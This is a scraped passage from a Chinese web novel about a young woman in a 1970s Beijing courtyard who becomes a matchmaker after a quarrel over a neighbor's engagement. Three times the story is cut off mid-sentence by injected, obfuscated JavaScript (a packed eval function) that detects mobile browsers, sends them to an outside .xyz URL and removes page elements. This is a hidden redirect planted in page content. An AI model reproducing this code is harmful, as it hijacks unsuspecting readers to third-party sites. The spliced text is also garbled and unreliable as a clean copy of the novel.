他们很迫切的想要知道！ 等了半晌，病房的门终于打开，杜海从里面走出来，看到门口的人围上来，他把手里的检查结果摆到大家面前：“你们看看，我就说我没问题！” “我看看！”周翠花立马抢过他手上的单子。 周翠花不识字，抢过单子看了半天，也没看明白上面写的什么，最后还是把单子递给她闺女。 王红梅小声地念着：“未发现病人有□□异常的问题……” 周翠花：“啥玩意，写的什么？什么勃……” 王红梅羞红着脸：“就是说杜海没毛病！” 周翠花：“没毛病，那那那……” 她结结巴巴说不出话，明晞这时候站出来：“周大妈，现在你该相信了吧，杜同志他没问题，我妈也没有瞒着你什么。” 周翠花这人虽然泼辣，倒也讲理，知道哦啊自己冤枉杜海和赵素兰，立马道歉。 “那个杜海，还有那个明同志，那什么不好意思，是我搞误会了，我……我给你们道歉！” 她认真的对着明晞和杜海鞠了一躬，说：“对不起。” 周翠花站起来，脸上充满歉意：“明同志，真是对不起，我没想到是我误会了，我以为你妈……对了，你妈没事吧，你说她住院了，是因为之前跟我动手吗？” 她从口袋里掏出一沓钱塞到明晞手里：“是我之前太混账了，跟你妈动手，害的你妈住院，这样，这点钱就当是我给你妈的医药费，多的你给你妈买点营养品补补。” 明晞扫了一眼，周翠花递过来的钱不少，粗略估算一下能有小一百。 她作势推脱两下，便把钱装进自己口袋。 这钱她收着不亏心。 毕竟赵素兰住院都是因为周翠花。 虽然赵素兰是打人的时候，自己不小心抻到才受伤住院。 但那也是因为周翠花呀。 明晞收钱的时候，周翠花转头在跟杜海道歉。 之前她闹着不想把闺女嫁给杜海，是因为杜海不行。现在杜海检查出来么没问题，那她当然不是这么想了。 杜海长得精神，家里有房有车（自行车），有正式工作，工资还不低，而且他也有本事，有责任心，妥妥的好女婿人选啊。 周翠花这会儿把姿态放得低，把事情全都揽在自己身上，十分真诚的对杜海道歉：“周大妈我给你道歉，杜海你生气就生周大妈的气，千万别迁怒红梅。” “红梅是相信你的，她还想拦着我闹事，是我没长脑子，听风就是雨，听别人说你不行，就信了，跑来找你闹事。这样，你想怎么惩罚大妈我都行，只要你跟红梅好好的就行。” 杜海低着头不说话。 今天这事他确实生气。 但他不是气周翠花和王家人闹事。 他是气王家人连问都没问过他，直接就怀疑他不行。 杜海跟王红梅除了相看那次，后面还见了好几次，还单独约着出去玩过一次，两个人对彼此都有充分的了解后，觉得对方是适合自己的人，才会开始商量结婚的事。 可即使是这样，王红梅也没想过找他问问到底怎么回事。 周翠花自己一个人说半天，杜海也不搭茬，现场气氛一下就古怪起来。 明晞看看低着头生闷气的杜海，又看看垂着头不知神色的王红梅，心里叹了口气。 她看啊，这俩人的事儿肯定不成了。 周翠花咬牙：“杜海，你也别怪大妈不相信你，大妈我一开始听别人说的时候是怀疑来着，但是你姑姑还有你们院的邻居都这么说，我就……” “我姑姑？！”杜海瞪着眼。 明晞心里“哦吼”一声。 看来这里面还有瓜吃啊！ 作者有话说 显示所有文的作话 第4章 还有瓜啊 7. 小明媒婆 杜淑英和周翠花不一样。 杜淑英虽然是始作俑者，但说到底，她算计的是杜海，跟赵素兰的关系不大。 是周翠花轻易听信梁秀的话，又自己瞎想，想多了，觉得赵素兰跟杜海邻居一块蒙着她，迁怒赵素兰，才让赵素兰受伤的。 所以明晞对杜淑英下手没有周翠花那么狠。 她就善良一点，少少的坑七十块钱就得了，毕竟杜海那还坑了五百呢，要得太多，她怕杜淑英不愿意掏钱。 也就是别人听不到明晞的心声，不然肯定要翻白眼。 她一开口就要走杜淑英一个半月工资，这还善良啊？ 杜淑英身上没带着那么多钱，在公安的陪同下回家取了钱，这才把钱赔给杜海和明晞两个人。 虽然心里不愿意，不过杜淑英还是麻溜地把钱给明晞，嘴上还解释一句：“明晞呀，今天这事儿真是误会，我没想到这事儿还能跟你妈扯上关系，还让她进医院。你拿这钱给你妈买点营养品，顺带跟她好好说说，这都是误会，误会哈。” 都说得罪谁也不能得罪媒婆，媒婆那张嘴厉害着呢，死人能给说活了，活人也能给说死了。 杜淑英儿子闺女都还没结婚没对象呢，这要是得罪了赵素兰这个媒婆，指不定背后得被赵素兰说成什么样呢，到时候还能找得着对象吗？ 因为周翠花那个没长脑子的，她已经得罪赵素兰了，现在只能尽力补救。 明晞也不是傻子，自然能感受到杜淑英话里讨好的成分，她收下钱，笑笑，没说什么。 杜淑英看着明晞那张笑脸，心里七上八下的。 这丫头什么意思，对自己笑笑，这是原谅自己了，还是没原谅自己啊？ 她想不明白，只能转头看向杜海。 轮到给杜海钱的时候，杜淑英就更加不情愿了。 五百块钱呢！ 她将近一年工资！ 一想到要把这些钱就这么交给杜海这个小兔崽子，她就一阵肉疼。 杜海懒得管杜淑英肉不肉疼，直接上手抢过杜淑英攥着的钱。 眼瞅着杜海把钱揣进他裤子口袋，杜淑英这叫一个舍不得，要不是公安在一边看着，她能上手抢回来。 可惜啊，有公安看着呢。 更让杜淑英觉得扎心的是，她把钱赔完，公安还不放她走，硬是要把她带到派出所接受批评教育。 当然，被带走的还有梁秀和周翠花。 不过这就没有其他人的事了。 来围观的邻居看公安局带着人离开，立马七嘴八舌的议论起来。 今天这一趟他们可没白来，吃了一肚子瓜，正是兴奋的时候呢。 明晞没跟邻居们凑热闹，而是看着期期艾艾凑过来的王红梅：“你有事？” 公安带走周翠花，是因为周翠花上门闹事，王红梅没参与闹事，公安也没管她。不过王家其他人都因为担心周翠花跟着去派出所了，只有王红梅一个人留下。 明显是有事啊。 王红梅攥着衣角，结结巴巴地说：“明晞，对、对不起，我妈今天去你家闹事，她……” 明晞还以为她要说什么呢，她摆摆手说：“嗐呀，你不用道歉，事儿是你妈做的，跟你又没关系。” “而且，你妈已经道完歉赔完钱了。” 周翠花毕竟掏了一百多块钱呢，她钱也不是白收的。 明晞的态度明显出乎王红梅的预料，她一愣，到嘴边的话都不知道该怎么说出来。 明晞：“怎么，你还有事？” 王红梅不说话，只是眼神有意无意地往另一边的杜海身上看去。 明晞明白了。 王红梅真正想要搭话的人不是她，而是杜海啊！ 只不过不知道她是害羞，还是不好意思，没敢找杜海。 明晞想到自己亲妈收了两个人的谢媒礼，收了钱就得干活，亲妈这会儿不在，那她顶上来呗。 明晞拉着王红梅走到杜海身前：“咳咳，事儿公安同志们调查清楚了，这一切都是误会。既然是误会，你们小两口就别再挂着脸了，来，你们俩给对方笑一下，笑一下就当这事儿过去了。你们该和好和好，该结婚结婚，就是有一点，以后可千万别像这次这样，听风就是雨，别人说什么就是什么。两口子得多给对方一点信任。” 她说完，抬头看向杜海和王红梅。 杜海没吭声，脸上表情也没有丝毫变化，就好像没听见明晞的话一样。 王红梅倒是有所触动，可是在看到杜海面无表情的样子后，她眼里迅速被泪花充满。 明晞心道要遭，赶紧用胳膊肘怼了杜海一下：“杜海，你说话呀。” 杜海沉默半晌，终于开口：“我看这事儿算了吧。” 王红梅一愣，立马抬头，眼泪汪汪地看着他：“杜海，你、你什么意思？” 她带着气，眼圈通红地问：“你生我气，不想再跟我好了是吗？” 杜海没说话，但在这种时候，没说话就代表默认。 王红梅眼泪立马掉下来，她定定地看了杜海一眼，想说什么，但女孩的矜持让她什么都说不出来，最后她抹着眼泪小跑着离开。 明晞看着她远去的背影叹一口气，回头问：“杜海，你真不打算跟王红梅继续处啊？” 杜海点点头。 明晞：“就因为今天这事儿？多可惜啊，你们俩本来都要谈婚论嫁了，就因为你姑姑……” 杜海摇头：“不是因为我姑姑，是我觉得我跟王红梅不合适。” 他说：“我希望我的对象应该是有主见，就算她听到别人说我的不好，也会先找我问，不会听什么就是什么。” 王红梅耳根子软，没什么主见，说白了，就是家里保护的太好，导致她太乖。 之前杜海和王红梅相看的时候，没有感受到这一点，现在一遇到事，王红梅这一面性格展现出来，杜海才发现两个人其实不合适。 听完这话，明晞没有再劝。 杜海是个很清醒的人，他知道自己想要什么，这样的人想法是很坚定的，明晞劝也劝不动。 她拍拍杜海肩膀：“行，多余的话，我就不说了。” 她转身想走，结果突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原身高考失利之后，就一直在复读，复读了两年，连续三次高考，都失利，没考上大学。不过原身还是很坚定的，哪怕去年第三次没考上，也没打算放弃，一直在家里自学，准备今年参加第四届高考。 不过这是原身的想法，不是明晞的想法。 明晞上辈子已经上过大学，没有再辛辛苦苦参加考试再熬四年大学的想法。 而且，她大学毕业都有两年，高中知识早就忘光了，现在距离高考只有几个月，让她去参加高考，肯定是考不上的。 不继续高考，明晞也不好意思在家当米虫，那就只有参加工作这条路。 可现在工作多难找啊。 上山下乡的知青都返城了，现在谁家没有一个待业青年啊？ 可厂子早饱和，根本没有招人的。 赵素兰之前还想凑点钱给明晞花钱买一个工作，可一打听，现在好点的工作直奔着三千块钱去了，赵素兰得掏空家底才能拿出这笔钱。 明晞不想让赵素兰花这么多钱。 那最适合的就是她去接赵素兰的班，干媒婆。 明晞是越想越合适，反正赵素兰伤了腰，这阵子得停停媒婆的活，那她来干不是正好吗。 明晞翘起嘴角，露出一个笑容：“行！不就是介绍对象吗，你放心，我肯定给你找一个让你满意的对象！” 杜海愣了一下，说：“行，那我就谢谢小明媒婆了。” 明晞扬着头。 嘿，你别说嘿。 小明媒婆这称呼听着还不赖呢。 8. 给杜海介绍对象 虽然明晞是第一天当媒婆，但她还是很敬业的。 她认认真真地问了一遍杜海对对象的要求。 杜海的要求不算高，就三点，第一是单身女同志；第二能接受他妹妹，不苛待他妹妹；第三有主见一点，耳根子不软的。 和那些一上来就要求相亲对象得是城里户口，得有工作，陪嫁得多少多少的人来说，杜海这个要求确实不高。 毕竟杜海本身条件不赖。 只除了一点比较吃亏，那就是杜海没有父母帮衬，还有个妹妹要养。 处对象倒是没什么，但是结婚可不一样，结婚以后有孩子，连个搭把手的都没有，伺候月子的人也没有，什么都得自己来，肯定要更累。再加上杜海妹妹现在也不过是个七八岁的小孩，嫁过来说好听点是当嫂子，说不好听了，那就是当妈，照顾孩子也怪不容易的呢。 不过吧。 杜海没有父母，那嫁给杜海上面也没有公公婆婆管着，一嫁过来就能自己当家做主，肯定是要更舒服的。 所以也得分怎么看。 明晞心里琢磨着，嘴上笑呵呵地答应：“行，就这个条件是吧，你放心吧，我肯定给你介绍一个符合你心意的好姑娘！” 杜海笑着点点头，然后从口袋里掏出一摞钱钱塞给明晞，明晞低头一看，差点没把钱给扔出去。 好家伙，杜海直接塞过来十张大黑十。 这年头，就算再着急找对象，也没有给一百块钱介绍费的呀。 她推脱：“不不不，这太多了，你还照给我妈的一样，给我十块钱就行。” 杜海：“不，这钱你必须得收下，这不光是介绍费，还有我的感谢费。” 他说：“要不是你今天带着王家人过来，我还不知道我姑姑在背后搞的鬼呢，我也要不到这么多赔偿，所以这钱你必须得收下。” 明晞是很有道德的，不是她的钱，她一般不会要，但杜海的态度太坚决，明晞推拒半天，最后还是拗不过他，只能把钱装进自己口袋。 从门诊大厅离开的时候，明晞心里还感慨呢。 今天这趟医院可真没白来，周翠花、杜淑英赔偿的，再加上杜海给的，加一块都快三百块钱了。 口袋里揣着钱，明晞腰板也直起来，她迈着大步来到赵素兰的病房。 赵素兰一看见明晞，立马关心地问：“晞宝怎么去了这么久才回来，遇到什么事了？” 明晞摆摆手：“没什么事，就是回去的时候遇到王家人了。” 赵素兰一听这话就急眼：“王家人又去咱们院闹事了？” “这个周翠花，我看她就是挨打没够，我刚教训完她，竟然还敢去咱们家闹事。等我身体好了，看我不收拾她一顿的。” 赵素兰一边骂骂咧咧，一边把明晞抓过来上上下下好好检查一番。 确定明晞身上没有受伤后，赵素兰的怒气总算是消下去些。 明晞见她情绪不再那么激动，才开口把事情经历告诉赵素兰。 “我刚才回去看见王家人在咱们家门口闹事，然后我说……到了杜家之后我就说……后面就报公安……”她巴拉巴拉讲了半天，终于讲完：“总之，事情就是这样，妈你放心，我没吃亏。” 明晞抖抖手里的钱，说：“我不仅没吃亏，还挣了呢。妈，你看。” 赵素兰眼神不由得被白花花的票子吸引走注意力，不过她很快的反应过来，伸手不轻不重地给明晞一下。 她左右看了一眼，确认病房内其他人的视线没有注意到后，小声说：“你这孩子是不是虎，还在外面呢，就把钱拿出来这么显摆，没听别人说过，不怕贼偷还不怕贼惦记吗？” 她一边说，一边抓着钱往明晞口袋里塞：“你好好把钱揣好，等回家以后找个地好好放起来，别弄丢了。” 赵素兰倒是没有说把钱给她，让她保管的话。 在溺爱女儿的赵素兰眼中，不管这钱是怎么来的，反正进了明晞口袋的，那就是明晞的钱，除了明晞本人，谁也没资格动，就连她这个亲妈也一样。 看明晞乖乖把钱装进口袋，赵素兰才反应过来明晞刚才说了什么。 她瞪眼：“不对，晞宝，你刚才说你要给杜海介绍对象？” “你怎么想的，怎么就答应这事了呢？你还是个年轻姑娘，干这活，多不合适，别人还指不定要在背后怎么说你呢。” 赵素兰越说越觉得不合适，她摆手：“不行不行，这样，你听我的，一会就把钱给杜海退回去，这活咱们不干，他的钱咱们也不要。” 明晞：“哎，妈，干啥要退，这钱又不是杜海白给我的。” 赵素兰皱着眉毛：“晞宝听话，咱家不缺钱，你妈我还能挣呢，钱的事儿轮不到你担心，你把心放肚子里，回家好好地复习，好好地考大学。你之前不是说了吗，目前不想做别的，就想考大学，那你就去考，家里的事不用你操心。” 明晞抬头，诚实地说：“妈，我现在不想考大学了。” 赵素兰：“什么？怎么好端端的突然不想考大学了？” 她着急：“是不是咱们院里那些长舌妇又在背后嘀咕你了？你甭搭理她们，她们一天天的闲的蛋疼，不嘀咕别人浑身难受，你听她们说那废话才是真正的傻蛋呢。” 明晞连续参加三年高考，三年都没考上，院里胡同里有不少人都在背后说闲话。 说明晞就不是能上大学的料，再复读多少年也是一样的，还不如趁早放弃，早点参加工作，还能给家里省点钱。 赵素兰怕明晞听到这些难过，跟人家撕吧好多次，但就算是这样，也挡不住别人的议论，所以这会儿赵素兰下意识觉得明晞是因为听见别人的议论伤心，才决定放弃高考的。 赵素兰：“晞宝，你听妈的，妈供得起你，你想复读就复读，想高考就高考，别说是复读三年了，就算是复读三十年，妈也供你。至于院里那些嘴巴长的，哼哼，等我回去的，我……” “妈、妈、妈你冷静。”看赵素兰龇着牙一脸凶狠要刀人的样子，明晞赶紧开口。 “不是因为别人的闲话，我就是不想继续高考了。”她表情认真：“考了三年没考上，我对我自己也有数，我不是学习那块料。而且我感觉，我今年也不一定能考上，这段时间我复习根本复习不进去，看见书就觉得恶心，所以我不想考了。” 看明晞的表情不似作假，赵素兰忍不住问：“闺女，你真不想继续考了？” 明晞：“嗯，不想了。” 赵素兰：“那、那行吧，不想考咱们就不考。” “但是给别人介绍对象还是不行。”她说：“你要是不想高考，那我给你买个工作，你正正经经的上班总比当媒婆好听，也比当媒婆轻松不是？” 赵素兰自己当了小二十年代的媒婆，知道干这一行不容易，有的时候你遇到的那些人，根本就不是正常人。 说奇葩都是夸奖他们的。 赵素兰自己受过委屈，不想让明晞也吃这份苦。 明晞当然知道赵素兰这份好心，但她也很坚决。 “花三千块钱买工作？除了爸的赔偿金，咱家还能拿得出三千块钱吗？” 明晞一句话给赵素兰问沉默。 赵素兰这些年是赚了不少钱，但养明晞也费钱啊，明晞不管吃穿，没有一样差的。赵素兰那点工资差不多都花出去了，家里那还有什么存款啊。 唯一的存款就是明父出事故，厂里给的赔偿金。 可家里就算是最困难的时候，赵素兰都没说要动那笔钱。 那钱是用明父的命换来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996998|178219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是明父留给赵素兰最后的念想，要是有可能，她一辈子都不想动那笔钱。 现在为了给明晞买工作，要花那笔钱，明晞知道赵素兰肯定愿意，但明晞不想让赵素兰为难自己。 想到早逝的丈夫，赵素兰眼眶红了。 明晞拍着赵素兰肩膀：“妈，买工作的事就算了吧。什么工作不是做，当媒婆，也是正经工作。你相信我，不就是个给人介绍对象的活吗，我能做的来的。” 赵素兰沉默许久。 让她就这么接受明晞去干媒婆这活，她心里肯定是不愿意的，但是她也看出来了，明晞现在是打定主意要去干这件事。 她想了半天，最终还是点头：“行吧。” 她拦不住明晞，那就让明晞去试试，要是明晞干不下去，那到时候她再花钱给明晞买个工作也行。 看见赵素兰终于点头同意，明晞笑开花，她搂着赵素兰肩膀：“妈，你同意了？那你把你之前记录的女同志资料给我一份呗。” 她嬉皮笑脸说：“我答应要给杜海介绍对象呢，可我现在没有认识的合适的女同志呢。” 赵素兰：…… 她笑骂一句：“你可真会得寸进尺。” 话虽这么说，不过她还是点头答应下来：“给你给你都给你，记着女同志资料的那个本子，就在我床头的抽屉里，你回去自己找去。” 明晞：“嘿嘿嘿，行，那我回去自己找去。” 她说完起身：“行，那我先回去一趟，妈你好好休息，等晚上我再过来给你送饭还有住院用的东西。” 本来中午那趟回去，她是要收拾东西的。 但这不是还没进家门就碰见闹事的王家人了吗。 东西也就没来得及收拾。 她就得晚上再跑一趟。 赵素兰摆摆手：“行，你回去吧。” 明晞跟赵素兰打了招呼，就离开医院，她快步往大杂院走，走到胡同口，都还没等拐进胡同呢，就看见胡同口坐着的大妈们交头接耳的在说着什么。 明晞隐约能听见杜海，不行，姑姑什么的。 明晞瞬间了然，这是杜海的事儿传开了。 这倒是也不奇怪，今儿礼拜日，大家伙都休息不上班，再加上刚才跟着她一块出去凑热闹的人那么多，消息传开可不是分分钟的事吗。 明晞正寻思着呢，胡同口坐着的大妈们也注意到明晞的身影，其中一个身材微胖，跟明晞住一个院的，她应该喊何大妈的中年女人开口。 “明晞回来了？” “来，明晞你给大家伙说说，真是杜海他姑姑在外面编瞎话，说杜海不行吗？”何大妈拍着边上的空坐呼唤明晞。 明晞点点头：“是呀。” 这也不是什么不能说的事儿，公安同志都调查完，确实是杜淑英造谣，而且那么多人都看着呢，所以她也没帮着隐瞒。 何大妈：“哎哟，造孽啊，杜淑英可真不是个人，杜海还是她亲侄子呢，她就这么对杜海啊……” “你是第一天知道杜淑英是什么样的人啊，她以前不就是这样。”边上一个大妈吐槽。 何大妈：“那、那杜海跟王家那丫头怎么样？不是说两个人都谈婚论嫁了吗，现在这还……” 明晞摊手：“两个人掰了。” 何大妈瞪大眼睛：“什么？！掰了？” 明晞点点头，说：“嗯，两个人分手了，杜海还托我给他介绍对象呢。” 一个接一个的消息传来，几个大妈瞬间傻眼。 杜海跟王红梅分手就分手吧，这倒不奇怪。 奇怪的是，杜海竟然找明晞给他介绍对象。 明晞还是个年轻大姑娘呢。 她给杜海介绍对象？ 怎么听怎么不靠谱啊。 9. 找上门的左英 大妈们怪异的眼神被明晞尽收眼底，她早有心里准备，倒是没把这眼神放在心上，她耸耸肩，趁着几个大妈还在愣神的功夫，快步拐进胡同。 明晞回到大院的时候，院里没什么人，估计都出去跟别人分享八卦去了。 明晞穿过前院，径直回到后院，她掏出钥匙，打开房门。 明家占着的这两间房面积不大，两间加一起才四十多平，其中里面那间房里用砖头做了个隔断，把一间分成两个小房间，分别是赵素兰和明晞的卧室。外面那间大的，当做客厅使用。 至于厨房？ 厨房不在屋里，在屋外。 明父还在的时候，沿着房檐下面搭了半间窝棚，充当明晞家作坊用的厨房，还有一个小储藏室的作用。 明晞推开门，走进屋，虽然是第一次走进这里，但她拥有原主的记忆，对这个家倒是也不算陌生。 她翻出一个行李包，往包里装了两套赵素兰的换洗衣物，又把赵素兰在医院要用得上的生活用品一股脑的装进去。 装完之后，她想了想，钻进赵素兰屋里，按照赵素兰说的位置，把那本记着女同志资料的册子翻出来。 赵素兰有个习惯，会把每一个来找找她介绍对象的人的基本情况记下来，包括对方的个人情况、家庭条件、性格、想要找的对象条件。 多亏赵素兰这个习惯，明晞这会儿翻起来一目了然得很。 明晞简单翻了一会儿，心里有数了。 给杜海介绍对象还真不难。 她妈这册子上就有几个满足杜海条件的。 不过人家女方能不能看得上杜海还不一定。 明晞得自己拿着资料往女方那边跑一趟。 今天时候不早了，不合适，等明天吧。 明天她去跑一趟。 明晞正想着呢，门外就响起马大妈的呼唤：“明晞，明晞你回来了？” 明晞把资料册放下，赶紧站起身：“哎！” 她快步走出来：“马大妈，你找我？” 马大妈：“嗯呐，我刚才看你家门开了，估计是你回来了，就过来看看。你啥时候回来的？” 明晞：“我刚回来没多久，刚才在医院，我顺便去瞅了我妈一眼，把杜海的事儿跟她说了。” 马大妈：“哦，那你妈咋样。” 明晞：“我妈没什么事，挺好的，估计是止疼药起作用了，我刚才去看她，她面色红润不少。” 马大妈一个劲儿点头：“那就好那就好。” “行，这会儿时候不早，差不多该做晚上饭，走吧，你跟我到我家等会，一会做完直接吃饭，省得我喊你。” 明晞没跟马大妈客气，麻溜地点头：“行，马大妈你等等，我去找饭盒。” 她把饭盒找出来，一会儿好给赵素兰送饭。 马大妈家晚饭吃的简单，肉丝炒白菜，清炒土豆丝，配上小米大米混合的二干饭。 这年头的条件摆在这儿，马大妈家的晚饭已经算是不错的，菜里起码还有肉，放条件艰苦的人家，半年都不一定能吃上一次肉。 没所以明晞也没有怨言，吃饭的时候，乖乖扒饭，蹭完饭，明晞拎着饭盒去医院给赵素兰送饭送东西。 怕赵素兰晚上有事，明晞送完东西就直接留在医院陪床，一直到第二天早上，陪着在赵素兰吃完早饭，才从医院回来。 她回来的时候，正好是轧钢厂上班时间，一路上碰到的人都是从胡同里往外走，遇上熟人，她挨个打招呼。 “王大爷上班啊……” “葛大哥买早饭啊……” “刘大妈送孩子上学啊……” 等走到胡同口的时候，她迎面跟一推着自行车的小伙撞上，明晞下意识道歉：“不好意思。” 等话脱口而出后她才反应过来。 不是，她道什么歉啊，明明是对方撞到了她。 这个时候对面也反应过来自己撞到明晞：“该说不好意思的是我，同志你没事吧，我没撞到你哪里吧？” 介于少年和青年之间的嗓音在明晞耳边响起，明晞下意识揉揉耳朵。 这声音，哎，怪好听的。 放在后世，可以去做配声演员了。 明晞小小走神一下，很快回神，她抬头，看向眼前的青年，青年留着一头清爽的短发，碎发散落在额头，乌黑的头发凸显肌肤更加白皙如玉。 明晞愣了一下，倒是认出青年的身份，她们这条胡同里住着的卫家的小儿子——卫宁。 反应过来卫宁的身份后，明晞立马退后一步：“没、没事，卫同志你是要去上班吧，那赶紧去吧，不然迟到就不好了。” 卫宁抬眼定定地看了明晞一会儿，才开口：“行。” 他迈开长腿，骑上自行车不一会儿就在明晞的视线中远去。 看着卫宁离开，明晞松了一口气。 这病秧子可算是离开了。 病秧子说的是卫宁。 要说她们这条胡同里谁最惹不得，第一当属明晞和卫宁。 不能惹明晞是因为有赵素兰这个宠女狂魔。 不能惹卫宁，则是因为他身体不好。 卫母怀卫宁的时候年纪已经不小了，外加那会灾荒，孕期没有得到良好照顾，所以卫宁一出生就身体不好。 听说他心脏上面还有什么毛病。 记得以前胡同里有人在背后嘀咕卫宁看着像养不大的被卫宁听见，卫宁直接犯病晕过去，说卫宁那人被愤怒的卫家人打上门把家都给砸了。 从此之后，卫家护卫宁跟护眼珠子一样，胡同里也没人再敢说卫宁的不是。 明晞倒是不怕卫家人。 可是明晞怕卫宁犯病啊。 万一卫宁因为她嘎巴一下犯病晕过去，她不得负责人，不得给卫宁出医药费啊。 那可不行。 她可舍不得钱！ 爱财如命的明晞拍拍口袋，幸好卫宁没出事。 她抬脚往大杂院走去，刚穿过前院，就看见自家门口站着一个女同志。 女同志身上穿一件深蓝色粗布工装外套，脸看着有些陌生。 明晞疑惑，这人谁啊，她不认识啊？ 她快走两步，来到女同志面前，开口问：“同志，你找谁？” “这里是明晞同志家吗，我找明晞。” 明晞歪头：“我就是明晞，同志你是？” 女同志听到这话，开口自我介绍：“明同志，我叫左英，也是轧钢厂的职工。” 明晞更糊涂了。 左英这名字她听都没听说过，这人来找她干嘛？ 好在左英主动开口解释：“我今天过来，是因为我听说杜海同志委托你帮他介绍对象，我来毛遂自荐的。” 明晞：“啊？” 明晞又是一愣，这年头的女同志都比较含蓄，上门毛遂自荐相亲这种事，真的很少啊！ 一般情况，就算是对男方有意思，也是托家里长辈，或者朋友来问，这种亲自过来的，赵素兰都没遇见过呢！ 不过明晞倒是很欣赏这样的女同志。 追求爱情，就该大胆一点！ 明晞想了一下，说：“那这样，我把门打开，咱们进门坐下，详细说一下。” 她说：“你找我介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996999|178219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绍对象，我起码得知道你的基本情况。而且我也得告诉你杜海的要求。” 左英爽快点头：“行，那咱们进去说。” 明晞掏出钥匙，麻溜地打开门，把左英迎进门，她安顿左英先坐下，自己去厨房给左英倒了杯水端出来，放在左英身前。 “你先跟我说说你的基本情况，你今年多大，家里什么情况，还有找对象的要求是什么？” 大早的，院里说话声、脚步声、自行车铃声此起彼伏的响起来，嘈杂得很。 不过，明晞家屋内却安静得很。 左英端起水杯轻抿一口后，开口：“我今年二十三，在轧钢厂上班，现在是二级钳工。我爸前几年没了，我妈改嫁到外地去了，现在家里除了我和我妹就没别人了。” 明晞一愣。 左英继续说：“我对对象的要求是，他得同意我带着我妹妹嫁过去，我妹妹除了我没别的亲人，她现在还小，我不能抛下她不管。还有，我的工作不会让出去。至于有没有房有没有车，我不在意，我家有房，我也有车。” 明晞皱眉有些疑惑，不看左英的要求，就看她这个条件，城里户口，有房有车有工作，在北城这个条件已经能吊打一票同龄人。 按理说，就算她还带着一个妹妹，想找对象，也是很简单的事情啊？ 怎么会找上门毛遂自荐？ 左英顿了顿，如实说：“我爸刚没的时候，因为接班的事儿，我跟我叔叔婶婶闹得很不愉快，她们在外面没少败坏我的名声，因为这个我这几年一直没遇到合适的对象。有不在乎我名声找上来的，但一张嘴就是结婚以后要把我家房子过户给他，还要让我把工作让给他，以后就在家里操持家务。明摆着是来算计房子和工作的。我宁愿不结婚，也不想跟这样奔着吃绝户来的男人结婚。” 明晞奇怪：“那你和杜海……？” 左英：“我和杜海不认识。我是听说他姑姑的事儿，感觉他的情况跟我的情况差不多，又听说他拜托你给他找对象，所以想上门来试试。” 明晞点头，要说条件，左英和杜海还真是相配。 同样的家里没有长辈，同样的还有一个年纪不大的妹妹要抚养，同样的有房有车有工作。 左英：“我最主要的是听说他有个妹妹，我也有个妹妹，正好，我们俩都带着妹妹，谁也不能嫌弃谁。” 这话确实说到点上。 这就跟离婚带孩子一样，这俩人条件其实都不错，唯一的缺点就是带一个孩子。 不过两边都有妹妹，也确实不能嫌弃对方。 明晞这样一想，倒是也觉得两个人挺相配的。 不过处对象这种事，不是条件相配就一定合适的，还得两个人看对眼才行。 明晞想了一下，说：“这事儿我说了不算，这样，我把你的情况跟杜海说一下，看看他是怎么想的，他要是愿意呢，咱们就找个时间见个面看看。不过我也不能保证他一定就能愿意。” 虽说杜海和左英条件看起来差不多，但相亲市场对女性条件总会更苛刻一点，再加上左英年纪要比杜海大三岁，杜海能不能愿意还真不一定。 左英：“我知道的。” 这事儿确实得杜海愿意才行，要是杜海不愿意，那也是白说。 明晞：“行，我今天下班就去找杜海问问，你给我留个地址，我到时候不论成不成，好给你信儿。” “行，我家在棉花胡同……”左英把自己地址跟明晞说完，站起身：“这会儿不早了，你有事或者有消息的话，去我家或者轧钢厂找我，我在四车间。” 明晞：“嗯，行，有信儿我找你。” 10. 风评受害 明晞把左英送到大门口，目送着她离开，等看着左英身影消失在视线里，正准备转身回家，结果一转头就跟探头探脑的何大妈对上。 “我去，何大妈，你悄悄摸摸不出声的躲在我身后干嘛？你有事啊？” “没，没事。”何大妈笑笑：“对了，明晞，刚才过去那谁啊，瞅着眼生，不像是咱们这条胡同里的人啊。” 明晞：“哦，没谁，就是一个来找我介绍对象的女同志。” “找你介绍对象，不是找你妈介绍对象？！” 何大妈瞪着眼睛，一脸的惊讶。 竟然真的有人找明晞一个小姑娘介绍对象啊。 明晞就像是没看见何大妈怀疑的眼神一样点点头：“对，找我介绍对象。” “呵呵，没什么没什么。” 话虽是这么说，但何大妈心里一个劲儿的吐槽。 谁家的傻丫头，这么傻，竟然找明晞这么一个什么都不懂的生瓜蛋子介绍对象，这是有多想不开啊！ 还不如找她呢，她都比明晞有经验。 明晞没在乎何大妈的想法，转身回屋去补觉去了，她昨晚上在医院陪床，怕赵素兰半夜有事，一晚上都没敢睡熟，这会儿困得不行。 明晞回屋躺到床上，脑袋一沾枕头，就睡着了。 她一觉结结实实睡到中午，一直到马大妈喊她吃饭，她才醒来，吃完饭又是去医院给赵素兰送饭。 今天中午依旧是大米小米的二搀饭配两个炒菜，唯一不同的是赵素兰多了一份骨头汤。 马大妈早上特意去菜市场买的骨头，炖了一上午炖出来的骨头汤，有营养的很，特意给赵素兰补身体的。 